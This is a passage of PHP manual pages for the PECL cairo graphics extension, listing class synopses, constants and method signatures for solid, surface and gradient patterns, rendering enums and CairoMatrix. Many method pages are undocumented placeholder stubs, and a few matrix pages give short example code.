public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoSolidPattern::__construct — The __construct purpose
  • CairoSolidPattern::getRgba — The getRgba purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoSolidPattern
  • CairoSolidPattern::getRgba »
  • PHP Manual
  • CairoSolidPattern
  • The __construct purpose

CairoSolidPattern::__construct

(PECL cairo >= 0.1.0)

CairoSolidPattern::__construct — The __construct purpose

Description

public CairoSolidPattern::__construct ( float $red , float $green , float $blue [, float $alpha = 0 ] )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 CairoSolidPattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getRgba purpose

  • « CairoSolidPattern::__construct
  • CairoSurfacePattern »
  • PHP Manual
  • CairoSolidPattern
  • The getRgba purpose

CairoSolidPattern::getRgba

(PECL cairo >= 0.1.0)

CairoSolidPattern::getRgba — The getRgba purpose

Description

public array CairoSolidPattern::getRgba ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSolidPattern::getRgba() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoSurfacePattern class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoSurfacePattern extends CairoPattern {
/* Methods */
public __construct ( CairoSurface $surface )
public int getExtend ( void )
public int getFilter ( void )
public void getSurface ( void )
public void setExtend ( int $extend )
public void setFilter ( string $filter )
/* Inherited methods */
public CairoPattern::__construct ( void )
public void CairoPattern::getMatrix ( void )
public int CairoPattern::getType ( void )
public void CairoPattern::setMatrix ( string $matrix )
public int CairoPattern::status ( void )
}

Table of Contents

  • CairoSurfacePattern::__construct — The __construct purpose
  • CairoSurfacePattern::getExtend — The getExtend purpose
  • CairoSurfacePattern::getFilter — The getFilter purpose
  • CairoSurfacePattern::getSurface — The getSurface purpose
  • CairoSurfacePattern::setExtend — The setExtend purpose
  • CairoSurfacePattern::setFilter — The setFilter purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoSurfacePattern
  • CairoSurfacePattern::getExtend »
  • PHP Manual
  • CairoSurfacePattern
  • The __construct purpose

CairoSurfacePattern::__construct

(PECL cairo >= 0.1.0)

CairoSurfacePattern::__construct — The __construct purpose

Description

public CairoSurfacePattern::__construct ( CairoSurface $surface )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getExtend purpose

  • « CairoSurfacePattern::__construct
  • CairoSurfacePattern::getFilter »
  • PHP Manual
  • CairoSurfacePattern
  • The getExtend purpose

CairoSurfacePattern::getExtend

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getExtend — The getExtend purpose

Description

public int CairoSurfacePattern::getExtend ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFilter purpose

  • « CairoSurfacePattern::getExtend
  • CairoSurfacePattern::getSurface »
  • PHP Manual
  • CairoSurfacePattern
  • The getFilter purpose

CairoSurfacePattern::getFilter

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getFilter — The getFilter purpose

Description

public int CairoSurfacePattern::getFilter ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getFilter() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getSurface purpose

  • « CairoSurfacePattern::getFilter
  • CairoSurfacePattern::setExtend »
  • PHP Manual
  • CairoSurfacePattern
  • The getSurface purpose

CairoSurfacePattern::getSurface

(PECL cairo >= 0.1.0)

CairoSurfacePattern::getSurface — The getSurface purpose

Description

public void CairoSurfacePattern::getSurface ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::getSurface() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setExtend purpose

  • « CairoSurfacePattern::getSurface
  • CairoSurfacePattern::setFilter »
  • PHP Manual
  • CairoSurfacePattern
  • The setExtend purpose

CairoSurfacePattern::setExtend

(PECL cairo >= 0.1.0)

CairoSurfacePattern::setExtend — The setExtend purpose

Description

public void CairoSurfacePattern::setExtend ( int $extend )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

extend

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::setExtend() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFilter purpose

  • « CairoSurfacePattern::setExtend
  • CairoLinearGradient »
  • PHP Manual
  • CairoSurfacePattern
  • The setFilter purpose

CairoSurfacePattern::setFilter

(PECL cairo >= 0.1.0)

CairoSurfacePattern::setFilter — The setFilter purpose

Description

public void CairoSurfacePattern::setFilter ( string $filter )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filter

Description...

Return Values

Description...

Examples

Example #1 CairoSurfacePattern::setFilter() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoLinearGradient class

(PECL cairo >= 0.1.0)

Introduction

Create a new CairoLinearGradient along the line defined

Class synopsis

CairoLinearGradient extends CairoGradientPattern {
/* Methods */
public __construct ( float $x0 , float $y0 , float $x1 , float $y1 )
public array getPoints ( void )
/* Inherited methods */
public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int CairoGradientPattern::getColorStopCount ( void )
public array CairoGradientPattern::getColorStopRgba ( string $index )
public int CairoGradientPattern::getExtend ( void )
public void CairoGradientPattern::setExtend ( int $extend )
}

Table of Contents

  • CairoLinearGradient::__construct — The __construct purpose
  • CairoLinearGradient::getPoints — The getPoints purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoLinearGradient
  • CairoLinearGradient::getPoints »
  • PHP Manual
  • CairoLinearGradient
  • The __construct purpose

CairoLinearGradient::__construct

(PECL cairo >= 0.1.0)

CairoLinearGradient::__construct — The __construct purpose

Description

public CairoLinearGradient::__construct ( float $x0 , float $y0 , float $x1 , float $y1 )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

x1

Description...

y1

Description...

Return Values

Description...

Examples

Example #1 CairoLinearGradient::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getPoints purpose

  • « CairoLinearGradient::__construct
  • CairoRadialGradient »
  • PHP Manual
  • CairoLinearGradient
  • The getPoints purpose

CairoLinearGradient::getPoints

(PECL cairo >= 0.1.0)

CairoLinearGradient::getPoints — The getPoints purpose

Description

public array CairoLinearGradient::getPoints ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoLinearGradient::getPoints() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoRadialGradient class

(PECL cairo >= 0.1.0)

Introduction

Class synopsis

CairoRadialGradient extends CairoGradientPattern {
/* Methods */
public __construct ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )
public array getCircles ( void )
/* Inherited methods */
public void CairoGradientPattern::addColorStopRgb ( string $offset , string $red , string $green , string $blue )
public void CairoGradientPattern::addColorStopRgba ( string $offset , string $red , string $green , string $blue , string $alpha )
public int CairoGradientPattern::getColorStopCount ( void )
public array CairoGradientPattern::getColorStopRgba ( string $index )
public int CairoGradientPattern::getExtend ( void )
public void CairoGradientPattern::setExtend ( int $extend )
}

Table of Contents

  • CairoRadialGradient::__construct — The __construct purpose
  • CairoRadialGradient::getCircles — The getCircles purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoRadialGradient
  • CairoRadialGradient::getCircles »
  • PHP Manual
  • CairoRadialGradient
  • The __construct purpose

CairoRadialGradient::__construct

(PECL cairo >= 0.1.0)

CairoRadialGradient::__construct — The __construct purpose

Description

Object oriented style:

public CairoRadialGradient::__construct ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )

Procedural style:

Creates a new radial gradient CairoPattern between the two circles defined by (x0, y0, r0) and (x1, y1, r1). Before using the gradient pattern, a number of color stops should be defined using CairoRadialGradient::addColorStopRgb() or CairoRadialGradient::addColorStopRgba().

Note: The coordinates here are in pattern space. For a new pattern, pattern space is identical to user space, but the relationship between the spaces can be changed with CairoRadialGradient::setMatrix().

Parameters

x0

x coordinate for the center of the start circle.

y0

y coordinate for the center of the start circle.

r0

radius of the start circle.

x1

x coordinate for the center of the end circle.

y1

y coordinate for the center of the end circle.

r1

radius of the end circle.

Return Values

Description...

Examples

Example #1 CairoRadialGradient::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getCircles purpose

  • « CairoRadialGradient::__construct
  • CairoAntialias »
  • PHP Manual
  • CairoRadialGradient
  • The getCircles purpose

CairoRadialGradient::getCircles

(PECL cairo >= 0.1.0)

CairoRadialGradient::getCircles — The getCircles purpose

Description

public array CairoRadialGradient::getCircles ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoRadialGradient::getCircles() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoAntialias class

(No version information available, might only be in Git)

Introduction

Enum class that specifies the type of antialiasing to do when rendering text or shapes.

Class synopsis

CairoAntialias {
/* Constants */
const integer MODE_DEFAULT = 0 ;
const integer MODE_NONE = 1 ;
const integer MODE_GRAY = 2 ;
const integer MODE_SUBPIXEL = 3 ;
}

Predefined Constants

CairoAntialias::MODE_DEFAULT

Use the default antialiasing for the subsystem and target device

CairoAntialias::MODE_NONE

Use a bilevel alpha mask

CairoAntialias::MODE_GRAY

Perform single-color antialiasing (using shades of gray for black text on a white background, for example).

CairoAntialias::MODE_SUBPIXEL

Perform antialiasing by taking advantage of the order of subpixel elements on devices such as LCD panels.

User Contributed Notes

There are no user contributed notes for this page.


The CairoContent class

(No version information available, might only be in Git)

Introduction

CairoContent is used to describe the content that a surface will contain, whether color information, alpha information (translucence vs. opacity), or both.

Note: The large values here are designed to keep CairoContent values distinct from CairoContent values so that the implementation can detect the error if users confuse the two types.

Class synopsis

CairoContent {
/* Constants */
const integer COLOR = 4096 ;
const integer ALPHA = 8192 ;
const integer COLOR_ALPHA = 12288 ;
}

Predefined Constants

CairoContent::COLOR

The surface will hold color content only.

CairoContent::ALPHA

The surface will hold alpha content only.

CairoContent::COLOR_ALPHA

The surface will hold color and alpha content.

User Contributed Notes

There are no user contributed notes for this page.


The CairoExtend class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoExtend {
/* Constants */
const integer NONE = 0 ;
const integer REPEAT = 1 ;
const integer REFLECT = 2 ;
const integer PAD = 3 ;
}

Predefined Constants

CairoExtend::NONE

Description here...

CairoExtend::REPEAT

Description here...

CairoExtend::REFLECT

Description here...

CairoExtend::PAD

Description here...

User Contributed Notes

There are no user contributed notes for this page.


The CairoFormat class

(PECL cairo >= 0.1.0)

Introduction

CairoFormat enums are used to identify the memory format of the image data.

Class synopsis

CairoFormat {
/* Constants */
const integer ARGB32 = 0 ;
const integer RGB24 = 1 ;
const integer A8 = 2 ;
const integer A1 = 3 ;
/* Methods */
public static int strideForWidth ( int $format , int $width )
}

Predefined Constants

CairoFormat::ARGB32

Each pixel is a 32-bit quantity, with alpha in the upper 8 bits, then red, then green, then blue. The 32-bit quantities are stored native-endian. Pre-multiplied alpha is used. (That is, 50% transparent red is 0x80800000, not 0x80ff0000.)

CairoFormat::RGB24

Each pixel is a 32-bit quantity, with the upper 8 bits unused. Red, Green, and Blue are stored in the remaining 24 bits in that order.

CairoFormat::A8

Each pixel is a 8-bit quantity holding an alpha value.

CairoFormat::A1

Each pixel is a 1-bit quantity holding an alpha value. Pixels are packed together into 32-bit quantities. The ordering of the bits matches the endianess of the platform. On a big-endian machine, the first pixel is in the uppermost bit, on a little-endian machine the first pixel is in the least-significant bit.

Table of Contents

  • CairoFormat::strideForWidth — Provides an appropiate stride to use

User Contributed Notes

There are no user contributed notes for this page.


Provides an appropiate stride to use

  • « CairoFormat
  • CairoFillRule »
  • PHP Manual
  • CairoFormat
  • Provides an appropiate stride to use

CairoFormat::strideForWidth

(PECL cairo >= 0.1.0)

CairoFormat::strideForWidth — Provides an appropiate stride to use

Description

public static int CairoFormat::strideForWidth ( int $format , int $width )

This method provides a stride value that will respect all alignment requirements of the accelerated image-rendering code within cairo.

Parameters

format

The desired CairoFormat to use

width

The width of the image

Return Values

The appropriate stride to use given the desired format and width, or -1 if either the format is invalid or the width too large.

Examples

Example #1 CairoFormat::strideForWidth() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoFillRule class

(No version information available, might only be in Git)

Introduction

A CairoFillRule is used to select how paths are filled. For both fill rules, whether or not a point is included in the fill is determined by taking a ray from that point to infinity and looking at intersections with the path. The ray can be in any direction, as long as it doesn't pass through the end point of a segment or have a tricky intersection such as intersecting tangent to the path. (Note that filling is not actually implemented in this way. This is just a description of the rule that is applied.)

The default fill rule is CairoFillRule::WINDING.

Class synopsis

CairoFillRule {
/* Constants */
const integer WINDING = 0 ;
const integer EVEN_ODD = 1 ;
}

Predefined Constants

CairoFillRule::WINDING

If the path crosses the ray from left-to-right, counts +1. If the path crosses the ray from right to left, counts -1. (Left and right are determined from the perspective of looking along the ray from the starting point.) If the total count is non-zero, the point will be filled.

CairoFillRule::EVEN_ODD

Counts the total number of intersections, without regard to the orientation of the contour. If the total number of intersections is odd, the point will be filled.

User Contributed Notes

There are no user contributed notes for this page.


The CairoFilter class

(No version information available, might only be in Git)

Introduction

A CairoFilter is used to indicate what filtering should be applied when reading pixel values from patterns. See CairoPattern::setSource() or cairo_pattern_set_source() for indicating the desired filter to be used with a particular pattern.

Class synopsis

CairoFilter {
/* Constants */
const integer FAST = 0 ;
const integer GOOD = 1 ;
const integer BEST = 2 ;
const integer NEAREST = 3 ;
const integer BILINEAR = 4 ;
const integer GAUSSIAN = 5 ;
}

Predefined Constants

CairoFilter::FAST

A high-performance filter, with quality similar to CairoFilter::NEAREST

CairoFilter::GOOD

A reasonable-performance filter, with quality similar to CairoFilter::BILINEAR

CairoFilter::BEST

The highest-quality available, performance may not be suitable for interactive use.

CairoFilter::NEAREST

Nearest-neighbor filtering

CairoFilter::BILINEAR

Linear interpolation in two dimensions

CairoFilter::GAUSSIAN

This filter value is currently unimplemented, and should not be used in current code.

User Contributed Notes

There are no user contributed notes for this page.


The CairoHintMetrics class

(No version information available, might only be in Git)

Introduction

Specifies whether to hint font metrics; hinting font metrics means quantizing them so that they are integer values in device space. Doing this improves the consistency of letter and line spacing, however it also means that text will be laid out differently at different zoom factors.

Class synopsis

CairoHintMetrics {
/* Constants */
const integer METRICS_DEFAULT = 0 ;
const integer METRICS_OFF = 1 ;
const integer METRICS_ON = 2 ;
}

Predefined Constants

CairoHintMetrics::METRICS_DEFAULT

Hint metrics in the default manner for the font backend and target device

CairoHintMetrics::METRICS_OFF

Do not hint font metrics

CairoHintMetrics::METRICS_ON

Hint font metrics

User Contributed Notes

There are no user contributed notes for this page.


The CairoHintStyle class

(No version information available, might only be in Git)

Introduction

Specifies the type of hinting to do on font outlines. Hinting is the process of fitting outlines to the pixel grid in order to improve the appearance of the result. Since hinting outlines involves distorting them, it also reduces the faithfulness to the original outline shapes. Not all of the outline hinting styles are supported by all font backends.

Class synopsis

CairoHintStyle {
/* Constants */
const integer STYLE_DEFAULT = 0 ;
const integer STYLE_NONE = 1 ;
const integer STYLE_SLIGHT = 2 ;
const integer STYLE_MEDIUM = 3 ;
const integer STYLE_FULL = 4 ;
}

Predefined Constants

CairoHintStyle::STYLE_DEFAULT

Use the default hint style for font backend and target device

CairoHintStyle::STYLE_NONE

Do not hint outlines

CairoHintStyle::STYLE_SLIGHT

Hint outlines slightly to improve contrast while retaining good fidelity to the original shapes.

CairoHintStyle::STYLE_MEDIUM

Hint outlines with medium strength giving a compromise between fidelity to the original shapes and contrast

CairoHintStyle::STYLE_FULL

Hint outlines to maximize contrast

User Contributed Notes

There are no user contributed notes for this page.


The CairoLineCap class

(No version information available, might only be in Git)

Introduction

Specifies how to render the endpoints of the path when stroking.

The default line cap style is CairoLineCap::BUTT.

Class synopsis

CairoLineCap {
/* Constants */
const integer BUTT = 0 ;
const integer ROUND = 1 ;
const integer SQUARE = 2 ;
}

Predefined Constants

CairoLineCap::BUTT

Start(stop) the line exactly at the start(end) point

CairoLineCap::ROUND

Use a round ending, the center of the circle is the end point

CairoLineCap::SQUARE

Use squared ending, the center of the square is the end point

User Contributed Notes

There are no user contributed notes for this page.


The CairoLineJoin class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoLineJoin {
/* Constants */
const integer MITER = 0 ;
const integer ROUND = 1 ;
const integer BEVEL = 2 ;
}

Predefined Constants

CairoLineJoin::MITER

Description here...

CairoLineJoin::ROUND

Description here...

CairoLineJoin::BEVEL

Description here...

User Contributed Notes

There are no user contributed notes for this page.


The CairoMatrix class

(PECL cairo >= 0.1.0)

Introduction

Matrices are used throughout cairo to convert between different coordinate spaces.

Class synopsis

CairoMatrix {
/* Methods */
public __construct ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )
public static void initIdentity ( void )
public static void initRotate ( float $radians )
public static void initScale ( float $sx , float $sy )
public static void initTranslate ( float $tx , float $ty )
public void invert ( void )
public static CairoMatrix multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )
public void rotate ( string $sx , string $sy )
public void scale ( float $sx , float $sy )
public array transformDistance ( string $dx , string $dy )
public array transformPoint ( string $dx , string $dy )
public void translate ( string $tx , string $ty )
}

Table of Contents

  • CairoMatrix::__construct — Creates a new CairoMatrix object
  • CairoMatrix::initIdentity — Creates a new identity matrix
  • CairoMatrix::initRotate — Creates a new rotated matrix
  • CairoMatrix::initScale — Creates a new scaling matrix
  • CairoMatrix::initTranslate — Creates a new translation matrix
  • CairoMatrix::invert — The invert purpose
  • CairoMatrix::multiply — The multiply purpose
  • CairoMatrix::rotate — The rotate purpose
  • CairoMatrix::scale — Applies scaling to a matrix
  • CairoMatrix::transformDistance — The transformDistance purpose
  • CairoMatrix::transformPoint — The transformPoint purpose
  • CairoMatrix::translate — The translate purpose

User Contributed Notes

There are no user contributed notes for this page.


Creates a new CairoMatrix object

  • « CairoMatrix
  • CairoMatrix::initIdentity »
  • PHP Manual
  • CairoMatrix
  • Creates a new CairoMatrix object

CairoMatrix::__construct

cairo_matrix_init

(PECL cairo >= 0.1.0)

CairoMatrix::__construct -- cairo_matrix_init — Creates a new CairoMatrix object

Description

Object oriented style (method):

public CairoMatrix::__construct ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )

Procedural style:

object cairo_matrix_init ([ float $xx = 1.0 [, float $yx = 0.0 [, float $xy = 0.0 [, float $yy = 1.0 [, float $x0 = 0.0 [, float $y0 = 0.0 ]]]]]] )

Returns new CairoMatrix object. Matrices are used throughout cairo to convert between different coordinate spaces. Sets matrix to be the affine transformation given by xx, yx, xy, yy, x0, y0. The transformation is given by: x_new = xx * x + xy * y + x0; and y_new = yx * x + yy * y + y0;

Parameters

xx

xx component of the affine transformation

yx

yx component of the affine transformation

xy

xy component of the affine transformation

yy

yy component of the affine transformation

x0

X translation component of the affine transformation

y0

Y translation component of the affine transformation

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = new CairoMatrix(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
?>

See Also

  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.


Creates a new identity matrix

  • « CairoMatrix::__construct
  • CairoMatrix::initRotate »
  • PHP Manual
  • CairoMatrix
  • Creates a new identity matrix

CairoMatrix::initIdentity

cairo_matrix_init_identity

(PECL cairo >= 0.1.0)

CairoMatrix::initIdentity -- cairo_matrix_init_identity — Creates a new identity matrix

Description

Object oriented style (method):

public static void CairoMatrix::initIdentity ( void )

Procedural style:

object cairo_matrix_init_identity ( void )

Creates a new matrix that is an identity transformation. An identity transformation means the source data is copied into the destination data without change

Parameters

This function has no parameters.

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initIdentity();
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_identity();
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.


Creates a new rotated matrix

  • « CairoMatrix::initIdentity
  • CairoMatrix::initScale »
  • PHP Manual
  • CairoMatrix
  • Creates a new rotated matrix

CairoMatrix::initRotate

cairo_matrix_init_rotate

(PECL cairo >= 0.1.0)

CairoMatrix::initRotate -- cairo_matrix_init_rotate — Creates a new rotated matrix

Description

Object oriented style (method):

public static void CairoMatrix::initRotate ( float $radians )

Procedural style:

object cairo_matrix_init_rotate ( float $radians )

Creats a new matrix to a transformation that rotates by radians provided

Parameters

radians

angle of rotation, in radians. The direction of rotation is defined such that positive angles rotate in the direction from the positive X axis toward the positive Y axis. With the default axis orientation of cairo, positive angles rotate in a clockwise direction.

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initRotate(0.3);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_rotate(0.3);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.


Creates a new scaling matrix

  • « CairoMatrix::initRotate
  • CairoMatrix::initTranslate »
  • PHP Manual
  • CairoMatrix
  • Creates a new scaling matrix

CairoMatrix::initScale

cairo_matrix_init_scale

cairo_matrix_create_scale

(PECL cairo >= 0.1.0)

CairoMatrix::initScale -- cairo_matrix_init_scale -- cairo_matrix_create_scale — Creates a new scaling matrix

Description

Object oriented style (method):

public static void CairoMatrix::initScale ( float $sx , float $sy )

Procedural style:

object cairo_matrix_init_scale ( float $sx , float $sy )

Creates a new matrix to a transformation that scales by sx and sy in the X and Y dimensions, respectively.

Parameters

sx

scale factor in the X direction

sy

scale factor in the Y direction

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initScale(1.0, 2.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_scale(1.0, 2.0);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initTranslate() - Creates a new translation matrix

User Contributed Notes

There are no user contributed notes for this page.


Creates a new translation matrix

  • « CairoMatrix::initScale
  • CairoMatrix::invert »
  • PHP Manual
  • CairoMatrix
  • Creates a new translation matrix

CairoMatrix::initTranslate

cairo_matrix_init_translate

(PECL cairo >= 0.1.0)

CairoMatrix::initTranslate -- cairo_matrix_init_translate — Creates a new translation matrix

Description

Object oriented style (method):

public static void CairoMatrix::initTranslate ( float $tx , float $ty )

Procedural style:

object cairo_matrix_init_translate ( float $tx , float $ty )

Creates a new matrix to a transformation that translates by tx and ty in the X and Y dimensions, respectively.

Parameters

tx

amount to translate in the X direction

ty

amount to translate in the Y direction

Return Values

Returns a new CairoMatrix object that can be used with surfaces, contexts, and patterns.

Examples

Example #1 Object oriented style

<?php
/* Create a new Matrix */
$matrix = CairoMatrix::initTranslate(1.0, 2.0);
?>

Example #2 Procedural style

<?php
/* Create a new Matrix */
$matrix = cairo_matrix_init_translate(1.0, 2.0);
?>

See Also

  • CairoMatrix::__construct() - Creates a new CairoMatrix object
  • CairoMatrix::initIdentity() - Creates a new identity matrix
  • CairoMatrix::initRotate() - Creates a new rotated matrix
  • CairoMatrix::initScale() - Creates a new scaling matrix

User Contributed Notes

There are no user contributed notes for this page.


The invert purpose

  • « CairoMatrix::initTranslate
  • CairoMatrix::multiply »
  • PHP Manual
  • CairoMatrix
  • The invert purpose

CairoMatrix::invert

(PECL cairo >= 0.1.0)

CairoMatrix::invert — The invert purpose

Description

public void CairoMatrix::invert ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoMatrix::invert() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The multiply purpose

  • « CairoMatrix::invert
  • CairoMatrix::rotate »
  • PHP Manual
  • CairoMatrix
  • The multiply purpose

CairoMatrix::multiply

(PECL cairo >= 0.1.0)

CairoMatrix::multiply — The multiply purpose

Description

public static CairoMatrix CairoMatrix::multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix1

Description...

matrix2

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::multiply() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The rotate purpose

  • « CairoMatrix::multiply
  • CairoMatrix::scale »
  • PHP Manual
  • CairoMatrix
  • The rotate purpose

CairoMatrix::rotate

cairo_rotate

(PECL cairo >= 0.1.0)

CairoMatrix::rotate -- cairo_rotate — The rotate purpose

Description

Object oriented style (method):

public void CairoMatrix::rotate ( string $sx , string $sy )

Procedural style:

void cairo_rotate ( CairoContext $context , string $angle )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

angle

Description...

sx

Description...

sy

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Applies scaling to a matrix

  • « CairoMatrix::rotate
  • CairoMatrix::transformDistance »
  • PHP Manual
  • CairoMatrix
  • Applies scaling to a matrix

CairoMatrix::scale

cairo_matrix_scale

(PECL cairo >= 0.1.0)

CairoMatrix::scale -- cairo_matrix_scale — Applies scaling to a matrix

Description

Object oriented style (method):

public void CairoMatrix::scale ( float $sx , float $sy )

Procedural style:

void cairo_matrix_scale ( CairoContext $context , float $sx , float $sy )

Applies scaling by sx, sy to the transformation in the matrix. The effect of the new transformation is to first scale the coordinates by sx and sy, then apply the original transformation to the coordinates.

Parameters

matrix

Procedural only - CairoMatrix instance

sx

scale factor in the X direction

sy

scale factor in the Y direction

Examples

Example #1 Object oriented style

<?php
/* Apply scaling to a matrix */
$matrix = new CairoMatrix(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
$matrix->scale(0.2, 2.0);
?>

Example #2 Procedural style

<?php
/* Apply scaling to a matrix */
$matrix = cairo_matrix_init(1.0, 0.5, 0.0, 1.0, 0.0, 0.0);
cairo_matrix_scale($matrix, 0.2, 2.0);
?>

See Also

  • CairoMatrix::initScale() - Creates a new scaling matrix

User Contributed Notes

There are no user contributed notes for this page.


The transformDistance purpose

  • « CairoMatrix::scale
  • CairoMatrix::transformPoint »
  • PHP Manual
  • CairoMatrix
  • The transformDistance purpose

CairoMatrix::transformDistance

(PECL cairo >= 0.1.0)

CairoMatrix::transformDistance — The transformDistance purpose

